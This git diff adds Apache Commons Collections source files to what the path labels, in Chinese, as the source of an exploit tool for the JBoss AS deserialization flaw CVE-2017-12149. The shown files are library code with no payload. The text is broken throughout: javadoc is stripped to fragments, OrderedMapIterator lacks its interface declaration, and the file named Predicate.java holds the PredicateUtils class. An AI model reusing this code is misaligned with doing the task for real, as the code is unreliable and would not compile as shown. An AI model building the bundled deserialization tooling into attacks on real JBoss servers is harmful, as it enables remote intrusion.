diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/OrderedMapIterator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/OrderedMapIterator.java"
new file mode 100644
index 0000000..f0bf096
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/OrderedMapIterator.java"
@@ -0,0 +1,45 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+/**
+ * Defines an iterator that operates over an ordered Map
.
+ * true
if the iterator has a previous element
+ */
+ boolean hasPrevious();
+
+ /**
+ * Gets the previous key from the Map
.
+ *
+ * @return the previous key in the iteration
+ * @throws java.util.NoSuchElementException if the iteration is finished
+ */
+ Object previous();
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/Predicate.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/Predicate.java"
new file mode 100644
index 0000000..7f391e4
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/Predicate.java"
@@ -0,0 +1,49 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+/**
+ * Defines a functor interface implemented by classes that perform a predicate
+ * test on an object.
+ * Predicate
is the object equivalent of an if
statement.
+ * It uses the input object to return a true or false value, and is often used in
+ * validation or filtering.
+ * PredicateUtils
provides reference implementations and utilities
+ * for the Predicate functor interface. The supplied predicates are:
+ *
+ *
+ * All the supplied predicates are Serializable.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.19 $ $Date: 2004/05/26 21:50:52 $
+ *
+ * @author Stephen Colebourne
+ * @author Ola Berg
+ */
+public class PredicateUtils {
+
+ /**
+ * This class is not normally instantiated.
+ */
+ public PredicateUtils() {
+ super();
+ }
+
+ // Simple predicates
+ //-----------------------------------------------------------------------------
+
+ /**
+ * Gets a Predicate that always throws an exception.
+ * This could be useful during testing as a placeholder.
+ *
+ * @see org.apache.commons.collections.functors.ExceptionPredicate
+ *
+ * @return the predicate
+ */
+ public static Predicate exceptionPredicate() {
+ return ExceptionPredicate.INSTANCE;
+ }
+
+ /**
+ * Gets a Predicate that always returns true.
+ *
+ * @see org.apache.commons.collections.functors.TruePredicate
+ *
+ * @return the predicate
+ */
+ public static Predicate truePredicate() {
+ return TruePredicate.INSTANCE;
+ }
+
+ /**
+ * Gets a Predicate that always returns false.
+ *
+ * @see org.apache.commons.collections.functors.FalsePredicate
+ *
+ * @return the predicate
+ */
+ public static Predicate falsePredicate() {
+ return FalsePredicate.INSTANCE;
+ }
+
+ /**
+ * Gets a Predicate that checks if the input object passed in is null.
+ *
+ * @see org.apache.commons.collections.functors.NullPredicate
+ *
+ * @return the predicate
+ */
+ public static Predicate nullPredicate() {
+ return NullPredicate.INSTANCE;
+ }
+
+ /**
+ * Gets a Predicate that checks if the input object passed in is not null.
+ *
+ * @see org.apache.commons.collections.functors.NotNullPredicate
+ *
+ * @return the predicate
+ */
+ public static Predicate notNullPredicate() {
+ return NotNullPredicate.INSTANCE;
+ }
+
+ /**
+ * Creates a Predicate that checks if the input object is equal to the
+ * specified object using equals().
+ *
+ * @see org.apache.commons.collections.functors.EqualPredicate
+ *
+ * @param value the value to compare against
+ * @return the predicate
+ */
+ public static Predicate equalPredicate(Object value) {
+ return EqualPredicate.getInstance(value);
+ }
+
+ /**
+ * Creates a Predicate that checks if the input object is equal to the
+ * specified object by identity.
+ *
+ * @see org.apache.commons.collections.functors.IdentityPredicate
+ *
+ * @param value the value to compare against
+ * @return the predicate
+ */
+ public static Predicate identityPredicate(Object value) {
+ return IdentityPredicate.getInstance(value);
+ }
+
+ /**
+ * Creates a Predicate that checks if the object passed in is of
+ * a particular type, using instanceof. A null
input
+ * object will return false
.
+ *
+ * @see org.apache.commons.collections.functors.InstanceofPredicate
+ *
+ * @param type the type to check for, may not be null
+ * @return the predicate
+ * @throws IllegalArgumentException if the class is null
+ */
+ public static Predicate instanceofPredicate(Class type) {
+ return InstanceofPredicate.getInstance(type);
+ }
+
+ /**
+ * Creates a Predicate that returns true the first time an object is
+ * encountered, and false if the same object is received
+ * again. The comparison is by equals(). A null
input object
+ * is accepted and will return true the first time, and false subsequently
+ * as well.
+ *
+ * @see org.apache.commons.collections.functors.UniquePredicate
+ *
+ * @return the predicate
+ */
+ public static Predicate uniquePredicate() {
+ // must return new instance each time
+ return UniquePredicate.getInstance();
+ }
+
+ /**
+ * Creates a Predicate that invokes a method on the input object.
+ * The method must return either a boolean or a non-null Boolean,
+ * and have no parameters. If the input object is null, a
+ * PredicateException is thrown.
+ * PredicateUtils.invokerPredicate("isEmpty");
+ * will call the isEmpty
method on the input object to
+ * determine the predicate result.
+ *
+ * @see org.apache.commons.collections.functors.InvokerTransformer
+ * @see org.apache.commons.collections.functors.TransformerPredicate
+ *
+ * @param methodName the method name to call on the input object, may not be null
+ * @return the predicate
+ * @throws IllegalArgumentException if the methodName is null.
+ */
+ public static Predicate invokerPredicate(String methodName){
+ // reuse transformer as it has caching - this is lazy really, should have inner class here
+ return asPredicate(InvokerTransformer.getInstance(methodName));
+ }
+
+ /**
+ * Creates a Predicate that invokes a method on the input object.
+ * The method must return either a boolean or a non-null Boolean,
+ * and have no parameters. If the input object is null, a
+ * PredicateException is thrown.
+ * PredicateUtils.invokerPredicate("isEmpty");
+ * will call the isEmpty
method on the input object to
+ * determine the predicate result.
+ *
+ * @see org.apache.commons.collections.functors.InvokerTransformer
+ * @see org.apache.commons.collections.functors.TransformerPredicate
+ *
+ * @param methodName the method name to call on the input object, may not be null
+ * @param paramTypes the parameter types
+ * @param args the arguments
+ * @return the predicate
+ * @throws IllegalArgumentException if the method name is null
+ * @throws IllegalArgumentException if the paramTypes and args don't match
+ */
+ public static Predicate invokerPredicate(String methodName, Class[] paramTypes, Object[] args){
+ // reuse transformer as it has caching - this is lazy really, should have inner class here
+ return asPredicate(InvokerTransformer.getInstance(methodName, paramTypes, args));
+ }
+
+ // Boolean combinations
+ //-----------------------------------------------------------------------------
+
+ /**
+ * Create a new Predicate that returns true only if both of the specified
+ * predicates are true.
+ *
+ * @see org.apache.commons.collections.functors.AndPredicate
+ *
+ * @param predicate1 the first predicate, may not be null
+ * @param predicate2 the second predicate, may not be null
+ * @return the and
predicate
+ * @throws IllegalArgumentException if either predicate is null
+ */
+ public static Predicate andPredicate(Predicate predicate1, Predicate predicate2) {
+ return AndPredicate.getInstance(predicate1, predicate2);
+ }
+
+ /**
+ * Create a new Predicate that returns true only if all of the specified
+ * predicates are true.
+ *
+ * @see org.apache.commons.collections.functors.AllPredicate
+ *
+ * @param predicates an array of predicates to check, may not be null
+ * @return the all
predicate
+ * @throws IllegalArgumentException if the predicates array is null
+ * @throws IllegalArgumentException if the predicates array has less than 2 elements
+ * @throws IllegalArgumentException if any predicate in the array is null
+ */
+ public static Predicate allPredicate(Predicate[] predicates) {
+ return AllPredicate.getInstance(predicates);
+ }
+
+ /**
+ * Create a new Predicate that returns true only if all of the specified
+ * predicates are true. The predicates are checked in iterator order.
+ *
+ * @see org.apache.commons.collections.functors.AllPredicate
+ *
+ * @param predicates a collection of predicates to check, may not be null
+ * @return the all
predicate
+ * @throws IllegalArgumentException if the predicates collection is null
+ * @throws IllegalArgumentException if the predicates collection has less than 2 elements
+ * @throws IllegalArgumentException if any predicate in the collection is null
+ */
+ public static Predicate allPredicate(Collection predicates) {
+ return AllPredicate.getInstance(predicates);
+ }
+
+ /**
+ * Create a new Predicate that returns true if either of the specified
+ * predicates are true.
+ *
+ * @see org.apache.commons.collections.functors.OrPredicate
+ *
+ * @param predicate1 the first predicate, may not be null
+ * @param predicate2 the second predicate, may not be null
+ * @return the or
predicate
+ * @throws IllegalArgumentException if either predicate is null
+ */
+ public static Predicate orPredicate(Predicate predicate1, Predicate predicate2) {
+ return OrPredicate.getInstance(predicate1, predicate2);
+ }
+
+ /**
+ * Create a new Predicate that returns true if any of the specified
+ * predicates are true.
+ *
+ * @see org.apache.commons.collections.functors.AnyPredicate
+ *
+ * @param predicates an array of predicates to check, may not be null
+ * @return the any
predicate
+ * @throws IllegalArgumentException if the predicates array is null
+ * @throws IllegalArgumentException if the predicates array has less than 2 elements
+ * @throws IllegalArgumentException if any predicate in the array is null
+ */
+ public static Predicate anyPredicate(Predicate[] predicates) {
+ return AnyPredicate.getInstance(predicates);
+ }
+
+ /**
+ * Create a new Predicate that returns true if any of the specified
+ * predicates are true. The predicates are checked in iterator order.
+ *
+ * @see org.apache.commons.collections.functors.AnyPredicate
+ *
+ * @param predicates a collection of predicates to check, may not be null
+ * @return the any
predicate
+ * @throws IllegalArgumentException if the predicates collection is null
+ * @throws IllegalArgumentException if the predicates collection has less than 2 elements
+ * @throws IllegalArgumentException if any predicate in the collection is null
+ */
+ public static Predicate anyPredicate(Collection predicates) {
+ return AnyPredicate.getInstance(predicates);
+ }
+
+ /**
+ * Create a new Predicate that returns true if one, but not both, of the
+ * specified predicates are true.
+ *
+ * @see org.apache.commons.collections.functors.OnePredicate
+ *
+ * @param predicate1 the first predicate, may not be null
+ * @param predicate2 the second predicate, may not be null
+ * @return the either
predicate
+ * @throws IllegalArgumentException if either predicate is null
+ */
+ public static Predicate eitherPredicate(Predicate predicate1, Predicate predicate2) {
+ return onePredicate(new Predicate[] { predicate1, predicate2 });
+ }
+
+ /**
+ * Create a new Predicate that returns true if only one of the specified
+ * predicates are true.
+ *
+ * @see org.apache.commons.collections.functors.OnePredicate
+ *
+ * @param predicates an array of predicates to check, may not be null
+ * @return the one
predicate
+ * @throws IllegalArgumentException if the predicates array is null
+ * @throws IllegalArgumentException if the predicates array has less than 2 elements
+ * @throws IllegalArgumentException if any predicate in the array is null
+ */
+ public static Predicate onePredicate(Predicate[] predicates) {
+ return OnePredicate.getInstance(predicates);
+ }
+
+ /**
+ * Create a new Predicate that returns true if only one of the specified
+ * predicates are true. The predicates are checked in iterator order.
+ *
+ * @see org.apache.commons.collections.functors.OnePredicate
+ *
+ * @param predicates a collection of predicates to check, may not be null
+ * @return the one
predicate
+ * @throws IllegalArgumentException if the predicates collection is null
+ * @throws IllegalArgumentException if the predicates collection has less than 2 elements
+ * @throws IllegalArgumentException if any predicate in the collection is null
+ */
+ public static Predicate onePredicate(Collection predicates) {
+ return OnePredicate.getInstance(predicates);
+ }
+
+ /**
+ * Create a new Predicate that returns true if neither of the specified
+ * predicates are true.
+ *
+ * @see org.apache.commons.collections.functors.NonePredicate
+ *
+ * @param predicate1 the first predicate, may not be null
+ * @param predicate2 the second predicate, may not be null
+ * @return the neither
predicate
+ * @throws IllegalArgumentException if either predicate is null
+ */
+ public static Predicate neitherPredicate(Predicate predicate1, Predicate predicate2) {
+ return nonePredicate(new Predicate[] { predicate1, predicate2 });
+ }
+
+ /**
+ * Create a new Predicate that returns true if none of the specified
+ * predicates are true.
+ *
+ * @see org.apache.commons.collections.functors.NonePredicate
+ *
+ * @param predicates an array of predicates to check, may not be null
+ * @return the none
predicate
+ * @throws IllegalArgumentException if the predicates array is null
+ * @throws IllegalArgumentException if the predicates array has less than 2 elements
+ * @throws IllegalArgumentException if any predicate in the array is null
+ */
+ public static Predicate nonePredicate(Predicate[] predicates) {
+ return NonePredicate.getInstance(predicates);
+ }
+
+ /**
+ * Create a new Predicate that returns true if none of the specified
+ * predicates are true. The predicates are checked in iterator order.
+ *
+ * @see org.apache.commons.collections.functors.NonePredicate
+ *
+ * @param predicates a collection of predicates to check, may not be null
+ * @return the none
predicate
+ * @throws IllegalArgumentException if the predicates collection is null
+ * @throws IllegalArgumentException if the predicates collection has less than 2 elements
+ * @throws IllegalArgumentException if any predicate in the collection is null
+ */
+ public static Predicate nonePredicate(Collection predicates) {
+ return NonePredicate.getInstance(predicates);
+ }
+
+ /**
+ * Create a new Predicate that returns true if the specified predicate
+ * returns false and vice versa.
+ *
+ * @see org.apache.commons.collections.functors.NotPredicate
+ *
+ * @param predicate the predicate to not
+ * @return the not
predicate
+ * @throws IllegalArgumentException if the predicate is null
+ */
+ public static Predicate notPredicate(Predicate predicate) {
+ return NotPredicate.getInstance(predicate);
+ }
+
+ // Adaptors
+ //-----------------------------------------------------------------------------
+
+ /**
+ * Create a new Predicate that wraps a Transformer. The Transformer must
+ * return either Boolean.TRUE or Boolean.FALSE otherwise a PredicateException
+ * will be thrown.
+ *
+ * @see org.apache.commons.collections.functors.TransformerPredicate
+ *
+ * @param transformer the transformer to wrap, may not be null
+ * @return the transformer wrapping predicate
+ * @throws IllegalArgumentException if the transformer is null
+ */
+ public static Predicate asPredicate(Transformer transformer) {
+ return TransformerPredicate.getInstance(transformer);
+ }
+
+ // Null handlers
+ //-----------------------------------------------------------------------------
+
+ /**
+ * Gets a Predicate that throws an exception if the input object is null,
+ * otherwise it calls the specified Predicate. This allows null handling
+ * behaviour to be added to Predicates that don't support nulls.
+ *
+ * @see org.apache.commons.collections.functors.NullIsExceptionPredicate
+ *
+ * @param predicate the predicate to wrap, may not be null
+ * @return the predicate
+ * @throws IllegalArgumentException if the predicate is null.
+ */
+ public static Predicate nullIsExceptionPredicate(Predicate predicate){
+ return NullIsExceptionPredicate.getInstance(predicate);
+ }
+
+ /**
+ * Gets a Predicate that returns false if the input object is null, otherwise
+ * it calls the specified Predicate. This allows null handling behaviour to
+ * be added to Predicates that don't support nulls.
+ *
+ * @see org.apache.commons.collections.functors.NullIsFalsePredicate
+ *
+ * @param predicate the predicate to wrap, may not be null
+ * @return the predicate
+ * @throws IllegalArgumentException if the predicate is null.
+ */
+ public static Predicate nullIsFalsePredicate(Predicate predicate){
+ return NullIsFalsePredicate.getInstance(predicate);
+ }
+
+ /**
+ * Gets a Predicate that returns true if the input object is null, otherwise
+ * it calls the specified Predicate. This allows null handling behaviour to
+ * be added to Predicates that don't support nulls.
+ *
+ * @see org.apache.commons.collections.functors.NullIsTruePredicate
+ *
+ * @param predicate the predicate to wrap, may not be null
+ * @return the predicate
+ * @throws IllegalArgumentException if the predicate is null.
+ */
+ public static Predicate nullIsTruePredicate(Predicate predicate){
+ return NullIsTruePredicate.getInstance(predicate);
+ }
+
+ // Transformed
+ //-----------------------------------------------------------------------
+ /**
+ * Creates a predicate that transforms the input object before passing it
+ * to the predicate.
+ *
+ * @see org.apache.commons.collections.functors.TransformedPredicate
+ *
+ * @param transformer the transformer to call first
+ * @param predicate the predicate to call with the result of the transform
+ * @return the predicate
+ * @throws IllegalArgumentException if the transformer or the predicate is null
+ * @since Commons Collections 3.1
+ */
+ public static Predicate transformedPredicate(Transformer transformer, Predicate predicate) {
+ return TransformedPredicate.getInstance(transformer, predicate);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/PriorityQueue.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/PriorityQueue.java"
new file mode 100644
index 0000000..0fe292d
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/PriorityQueue.java"
@@ -0,0 +1,71 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+/**
+ * Defines a collection for priority queues, which can insert, peek and pop.
+ * Buffer
interface.
+ *
+ * @deprecated Replaced by the Buffer interface and implementations in buffer subpackage.
+ * Due to be removed in v4.0.
+ * @since Commons Collections 1.0
+ * @version $Revision: 1.14 $ $Date: 2004/02/18 01:15:42 $
+ *
+ * @author Peter Donald
+ */
+public interface PriorityQueue {
+
+ /**
+ * Clear all elements from queue.
+ */
+ void clear();
+
+ /**
+ * Test if queue is empty.
+ *
+ * @return true if queue is empty else false.
+ */
+ boolean isEmpty();
+
+ /**
+ * Insert an element into queue.
+ *
+ * @param element the element to be inserted
+ *
+ * @throws ClassCastException if the specified element
's
+ * type prevents it from being compared to other items in the queue to
+ * determine its relative priority.
+ */
+ void insert(Object element);
+
+ /**
+ * Return element on top of heap but don't remove it.
+ *
+ * @return the element at top of heap
+ * @throws java.util.NoSuchElementException if isEmpty() == true
+ */
+ Object peek();
+
+ /**
+ * Return element on top of heap and remove it.
+ *
+ * @return the element at top of heap
+ * @throws java.util.NoSuchElementException if isEmpty() == true
+ */
+ Object pop();
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/ProxyMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/ProxyMap.java"
new file mode 100644
index 0000000..1d75ade
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/ProxyMap.java"
@@ -0,0 +1,162 @@
+/*
+ * Copyright 2002-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+import java.util.Collection;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * Map
wraps another Map
+ * implementation, using the wrapped instance for its default
+ * implementation. This class is used as a framework on which to
+ * build to extensions for its wrapped Map
object which
+ * would be unavailable or inconvenient via sub-classing (but usable
+ * via composition).Map
to delegate to.
+ */
+ protected Map map;
+
+ /**
+ * Constructor that uses the specified map to delegate to.
+ * Map
parameter in
+ * collections constructors.
+ *
+ * @param map the Map
to delegate to
+ */
+ public ProxyMap(Map map) {
+ this.map = map;
+ }
+
+ /**
+ * Invokes the underlying {@link Map#clear()} method.
+ */
+ public void clear() {
+ map.clear();
+ }
+
+ /**
+ * Invokes the underlying {@link Map#containsKey(Object)} method.
+ */
+ public boolean containsKey(Object key) {
+ return map.containsKey(key);
+ }
+
+ /**
+ * Invokes the underlying {@link Map#containsValue(Object)} method.
+ */
+ public boolean containsValue(Object value) {
+ return map.containsValue(value);
+ }
+
+ /**
+ * Invokes the underlying {@link Map#entrySet()} method.
+ */
+ public Set entrySet() {
+ return map.entrySet();
+ }
+
+ /**
+ * Invokes the underlying {@link Map#equals(Object)} method.
+ */
+ public boolean equals(Object m) {
+ return map.equals(m);
+ }
+
+ /**
+ * Invokes the underlying {@link Map#get(Object)} method.
+ */
+ public Object get(Object key) {
+ return map.get(key);
+ }
+
+ /**
+ * Invokes the underlying {@link Map#hashCode()} method.
+ */
+ public int hashCode() {
+ return map.hashCode();
+ }
+
+ /**
+ * Invokes the underlying {@link Map#isEmpty()} method.
+ */
+ public boolean isEmpty() {
+ return map.isEmpty();
+ }
+
+ /**
+ * Invokes the underlying {@link Map#keySet()} method.
+ */
+ public Set keySet() {
+ return map.keySet();
+ }
+
+ /**
+ * Invokes the underlying {@link Map#put(Object,Object)} method.
+ */
+ public Object put(Object key, Object value) {
+ return map.put(key, value);
+ }
+
+ /**
+ * Invokes the underlying {@link Map#putAll(Map)} method.
+ */
+ public void putAll(Map t) {
+ map.putAll(t);
+ }
+
+ /**
+ * Invokes the underlying {@link Map#remove(Object)} method.
+ */
+ public Object remove(Object key) {
+ return map.remove(key);
+ }
+
+ /**
+ * Invokes the underlying {@link Map#size()} method.
+ */
+ public int size() {
+ return map.size();
+ }
+
+ /**
+ * Invokes the underlying {@link Map#values()} method.
+ */
+ public Collection values() {
+ return map.values();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/ReferenceMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/ReferenceMap.java"
new file mode 100644
index 0000000..bfcbb6b
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/ReferenceMap.java"
@@ -0,0 +1,957 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.lang.ref.Reference;
+import java.lang.ref.ReferenceQueue;
+import java.lang.ref.SoftReference;
+import java.lang.ref.WeakReference;
+import java.util.AbstractCollection;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.NoSuchElementException;
+import java.util.Set;
+
+import org.apache.commons.collections.keyvalue.DefaultMapEntry;
+
+/**
+ * Hash-based {@link Map} implementation that allows
+ * mappings to be removed by the garbage collector.ReferenceMap
, you can
+ * specify what kind of references are used to store the
+ * map's keys and values. If non-hard references are
+ * used, then the garbage collector can remove mappings
+ * if a key or value becomes unreachable, or if the
+ * JVM's memory is running low. For information on how
+ * the different reference types behave, see
+ * {@link Reference}.WeakHashMap
. However, you
+ * can also specify hard keys and weak values, or any other
+ * combination. The default constructor uses hard keys
+ * and soft values, providing a memory-sensitive cache.NullPointerException
.ReferenceMap
.
+ *
+ * @see java.lang.ref.Reference
+ *
+ * @deprecated Moved to map subpackage. Due to be removed in v4.0.
+ * @since Commons Collections 2.1
+ * @version $Revision: 1.22 $ $Date: 2004/02/18 01:15:42 $
+ *
+ * @author Paul Jack
+ */
+public class ReferenceMap extends AbstractMap {
+
+ /**
+ * For serialization.
+ */
+ final private static long serialVersionUID = -3370601314380922368L;
+
+
+ /**
+ * Constant indicating that hard references should be used.
+ */
+ final public static int HARD = 0;
+
+
+ /**
+ * Constant indicating that soft references should be used.
+ */
+ final public static int SOFT = 1;
+
+
+ /**
+ * Constant indicating that weak references should be used.
+ */
+ final public static int WEAK = 2;
+
+
+ // --- serialized instance variables:
+
+
+ /**
+ * The reference type for keys. Must be HARD, SOFT, WEAK.
+ * Note: I originally marked this field as final, but then this class
+ * didn't compile under JDK1.2.2.
+ * @serial
+ */
+ private int keyType;
+
+
+ /**
+ * The reference type for values. Must be HARD, SOFT, WEAK.
+ * Note: I originally marked this field as final, but then this class
+ * didn't compile under JDK1.2.2.
+ * @serial
+ */
+ private int valueType;
+
+
+ /**
+ * The threshold variable is calculated by multiplying
+ * table.length and loadFactor.
+ * Note: I originally marked this field as final, but then this class
+ * didn't compile under JDK1.2.2.
+ * @serial
+ */
+ private float loadFactor;
+
+ /**
+ * Should the value be automatically purged when the associated key has been collected?
+ */
+ private boolean purgeValues = false;
+
+
+ // -- Non-serialized instance variables
+
+ /**
+ * ReferenceQueue used to eliminate stale mappings.
+ * See purge.
+ */
+ private transient ReferenceQueue queue = new ReferenceQueue();
+
+
+ /**
+ * The hash table. Its length is always a power of two.
+ */
+ private transient Entry[] table;
+
+
+ /**
+ * Number of mappings in this map.
+ */
+ private transient int size;
+
+
+ /**
+ * When size reaches threshold, the map is resized.
+ * See resize().
+ */
+ private transient int threshold;
+
+
+ /**
+ * Number of times this map has been modified.
+ */
+ private transient volatile int modCount;
+
+
+ /**
+ * Cached key set. May be null if key set is never accessed.
+ */
+ private transient Set keySet;
+
+
+ /**
+ * Cached entry set. May be null if entry set is never accessed.
+ */
+ private transient Set entrySet;
+
+
+ /**
+ * Cached values. May be null if values() is never accessed.
+ */
+ private transient Collection values;
+
+
+ /**
+ * Constructs a new ReferenceMap
that will
+ * use hard references to keys and soft references to values.
+ */
+ public ReferenceMap() {
+ this(HARD, SOFT);
+ }
+
+ /**
+ * Constructs a new ReferenceMap
that will
+ * use the specified types of references.
+ *
+ * @param keyType the type of reference to use for keys;
+ * must be {@link #HARD}, {@link #SOFT}, {@link #WEAK}
+ * @param valueType the type of reference to use for values;
+ * must be {@link #HARD}, {@link #SOFT}, {@link #WEAK}
+ * @param purgeValues should the value be automatically purged when the
+ * key is garbage collected
+ */
+ public ReferenceMap(int keyType, int valueType, boolean purgeValues) {
+ this(keyType, valueType);
+ this.purgeValues = purgeValues;
+ }
+
+ /**
+ * Constructs a new ReferenceMap
that will
+ * use the specified types of references.
+ *
+ * @param keyType the type of reference to use for keys;
+ * must be {@link #HARD}, {@link #SOFT}, {@link #WEAK}
+ * @param valueType the type of reference to use for values;
+ * must be {@link #HARD}, {@link #SOFT}, {@link #WEAK}
+ */
+ public ReferenceMap(int keyType, int valueType) {
+ this(keyType, valueType, 16, 0.75f);
+ }
+
+ /**
+ * Constructs a new ReferenceMap
with the
+ * specified reference types, load factor and initial
+ * capacity.
+ *
+ * @param keyType the type of reference to use for keys;
+ * must be {@link #HARD}, {@link #SOFT}, {@link #WEAK}
+ * @param valueType the type of reference to use for values;
+ * must be {@link #HARD}, {@link #SOFT}, {@link #WEAK}
+ * @param capacity the initial capacity for the map
+ * @param loadFactor the load factor for the map
+ * @param purgeValues should the value be automatically purged when the
+ * key is garbage collected
+ */
+ public ReferenceMap(
+ int keyType,
+ int valueType,
+ int capacity,
+ float loadFactor,
+ boolean purgeValues) {
+ this(keyType, valueType, capacity, loadFactor);
+ this.purgeValues = purgeValues;
+ }
+
+ /**
+ * Constructs a new ReferenceMap
with the
+ * specified reference types, load factor and initial
+ * capacity.
+ *
+ * @param keyType the type of reference to use for keys;
+ * must be {@link #HARD}, {@link #SOFT}, {@link #WEAK}
+ * @param valueType the type of reference to use for values;
+ * must be {@link #HARD}, {@link #SOFT}, {@link #WEAK}
+ * @param capacity the initial capacity for the map
+ * @param loadFactor the load factor for the map
+ */
+ public ReferenceMap(int keyType, int valueType, int capacity, float loadFactor) {
+ super();
+
+ verify("keyType", keyType);
+ verify("valueType", valueType);
+
+ if (capacity <= 0) {
+ throw new IllegalArgumentException("capacity must be positive");
+ }
+ if ((loadFactor <= 0.0f) || (loadFactor >= 1.0f)) {
+ throw new IllegalArgumentException("Load factor must be greater than 0 and less than 1.");
+ }
+
+ this.keyType = keyType;
+ this.valueType = valueType;
+
+ int v = 1;
+ while (v < capacity) v *= 2;
+
+ this.table = new Entry[v];
+ this.loadFactor = loadFactor;
+ this.threshold = (int)(v * loadFactor);
+ }
+
+
+ // used by constructor
+ private static void verify(String name, int type) {
+ if ((type < HARD) || (type > WEAK)) {
+ throw new IllegalArgumentException(name +
+ " must be HARD, SOFT, WEAK.");
+ }
+ }
+
+
+ /**
+ * Writes this object to the given output stream.
+ *
+ * @param out the output stream to write to
+ * @throws IOException if the stream raises it
+ */
+ private void writeObject(ObjectOutputStream out) throws IOException {
+ out.defaultWriteObject();
+ out.writeInt(table.length);
+
+ // Have to use null-terminated list because size might shrink
+ // during iteration
+
